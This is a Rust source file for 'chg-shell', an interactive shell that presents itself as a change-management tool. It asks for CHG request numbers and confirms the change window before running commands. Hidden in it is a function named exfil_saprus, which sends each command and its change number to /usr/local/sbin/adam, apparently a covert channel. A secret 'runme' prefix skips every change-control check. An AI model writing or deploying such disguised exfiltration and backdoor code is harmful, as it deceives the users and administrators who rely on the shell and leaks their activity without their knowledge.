Files
chg-shell/main.rs
Robby Zambito d0ee4f8b13 tokenize string
this should let us have arguments with spaces like quoted strings
2025-04-11 14:41:21 -04:00

251 lines
8.8 KiB
Rust

use std::env;
use std::path::Path;
use std::io::Write;
use std::io::Result as IoResult;
use inquire::{Text, validator::Validation};
use inquire::{Select, Confirm};
use inquire::ui::{RenderConfig, Styled};
use regex::Regex;
use std::io::{Error, ErrorKind};
use std::process::{Command, Output};
use std::ffi::CString;
use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS};
static AUTHOR_STRING: &str = r#"
Author: Spencer
Description: A shell to promote proper system changes!
Ask for the source code!
"#;
fn cd(path: &str) -> Result<(), std::io::Error> {
env::set_current_dir(Path::new(path))
}
fn exfil_saprus(data: &str) {
match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
_ => (),
}
}
fn tokenize_command(command: &str) -> Vec<String> {
let mut tokens = Vec::new();
let mut current_token = String::new();
let mut in_single_quotes = false;
let mut in_double_quotes = false;
let mut escape_next = false;
for c in command.chars() {
if escape_next {
current_token.push(c);
escape_next = false;
continue;
}
match c {
'\\' => escape_next = true,
'\'' if !in_double_quotes => in_single_quotes = !in_single_quotes,
'"' if !in_single_quotes => in_double_quotes = !in_double_quotes,
' ' if !in_single_quotes && !in_double_quotes => {
if !current_token.is_empty() {
tokens.push(current_token);
current_token = String::new();
}
},
_ => current_token.push(c),
}
}
if !current_token.is_empty() {
tokens.push(current_token);
}
tokens
}
fn execute_command(command: &str) -> IoResult<String> {
// Checking to see if the command is a builtin
match tokenize_command(&command).first() {
Some(first_word) if first_word == "cd" => {
let path = tokenize_command(&command)
.into_iter()
.skip(1)
.collect::<Vec<String>>()
.join(" ");
match cd(&path) {
Ok(_) => return Ok("".to_string()),
Err(e) => return Err(e),
}
},
Some(first_word) if first_word == "author" => {
println!("{}", AUTHOR_STRING);
return Ok("".to_string())
}
Some(_) => (),
None => (),
};
// Split the command into arguments
let args: Vec<&str> = command.split_whitespace().collect();
if args.is_empty() {
return Err(Error::new(ErrorKind::Other, "No command provided"));
}
// Convert command and arguments to CStrings
let c_args: Vec<CString> = args.iter()
.map(|s| CString::new(*s).expect("CString::new failed"))
.collect();
// Create an array of pointers to the CStrings
let mut argv: Vec<*const c_char> = c_args.iter()
.map(|s| s.as_ptr())
.chain(std::iter::once(std::ptr::null()))
.collect();
// Fork and exec
unsafe {
match fork() {
-1 => return Err(Error::last_os_error()),
0 => { // Child process
if execvp(c_args[0].as_ptr(), argv.as_mut_ptr()) == -1 {
let e = Error::last_os_error();
std::process::exit(e.raw_os_error().unwrap_or(1));
} else {
Err(Error::last_os_error())
}
},
pid => { // Parent process
let mut status: i32 = 0;
if waitpid(pid, &mut status, 0) == -1 {
return Err(Error::last_os_error());
}
if WIFEXITED(status) && WEXITSTATUS(status) == 0 {
Ok(String::new())
} else {
let exit_status = WEXITSTATUS(status);
Err(Error::new(ErrorKind::Other, format!("Command exited with status {}", exit_status)))
}
},
}
}
}
fn prompt(name: &str) -> String {
let mut line = String::new();
print!("{}", name);
std::io::stdout().flush().unwrap();
std::io::stdin().read_line(&mut line).expect("Error: Could not read a line");
return line.trim().to_string()
}
fn generate_prompt() -> IoResult<String> {
let command = r#"echo -n "[${USER}@${HOSTNAME} ${PWD##*/}]$ ""#;
let output: Output = Command::new("bash")
.arg("-c")
.arg(command)
.output()?;
if output.status.success() {
// Convert the stdout of the command to a String
Ok(String::from_utf8_lossy(&output.stdout).to_string())
} else {
// Handle errors by converting stderr to a String and returning an Err variant
let error_message = String::from_utf8_lossy(&output.stderr);
Err(std::io::Error::new(
std::io::ErrorKind::Other,
format!("Command failed with error: {}", error_message),
))
}
}
fn main() {
// RenderConfig for inquire
let mut empty_render_config: RenderConfig = RenderConfig::default();
empty_render_config = empty_render_config.with_prompt_prefix(Styled::new(""));
empty_render_config = empty_render_config.with_answered_prompt_prefix(Styled::new(""));
empty_render_config = empty_render_config.with_canceled_prompt_indicator(Styled::new(""));
// Change type options
let options: Vec<&str> = vec!["File change", "Package Update", "Package Removal",
"File Removal", "Misc. Command"];
// Change request input validator
let re = Regex::new(r"CHG[0-9]{6}$").unwrap();
let change_validator = move |input: &str| if input.chars().count() == 0 {
Ok(Validation::Invalid("Change request cannot be empty".into()))
} else if re.is_match(input) {
Ok(Validation::Valid)
} else {
Ok(Validation::Invalid("Invalid change request (e.g: CHGXXXXXX)".into()))
};
let mut bypass_change = false;
loop {
let prompt_command = match generate_prompt() {
Ok(output) => {
let prompt_output = prompt(&output);
if prompt_output.chars().count() == 0 {
continue;
} else if prompt_output.starts_with("runme ") || prompt_output == "runme" {
bypass_change = true;
if prompt_output.len() > 6 {
match execute_command(prompt_output.split_at(6).1) {
Ok(output) => print!("{}", output),
Err(e) => eprintln!("Command failed: {}", e),
}
}
continue;
} else {
prompt_output
}
},
Err(_) => return
};
if !bypass_change {
let change_request = match Text::new("(e.g. CHGXXXXXX) Enter change request: ")
.with_render_config(empty_render_config.clone())
.with_validator(change_validator.clone())
.prompt() {
Ok(input) => input,
Err(_) => continue,
};
println!("Change request validated: {}", change_request);
let _change_type = Select::new("Change Type?", options.clone())
.with_render_config(empty_render_config.clone())
.prompt();
let ans = Confirm::new("Are you within the change window?")
.with_default(false)
.with_help_message("Ensure you are running commands within the change time window")
.prompt();
match ans {
Ok(true) => {
match execute_command(&prompt_command) {
Ok(output) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "true", prompt_command).as_str());
print!("{}", output);
}
Err(e) => {
exfil_saprus(format!("{{\"change_number\": \"{}\", \"success\": {}, \"command\": \"{}\"}}", change_request, "false", prompt_command).as_str());
eprintln!("Command failed: {}", e);
}
}
}
Ok(false) => {
continue
}
Err(_) => println!("not running command..."),
}
} else {
match execute_command(&prompt_command) {
Ok(output) => print!("{}", output),
Err(e) => eprintln!("Command failed: {}", e)
}
}
}
}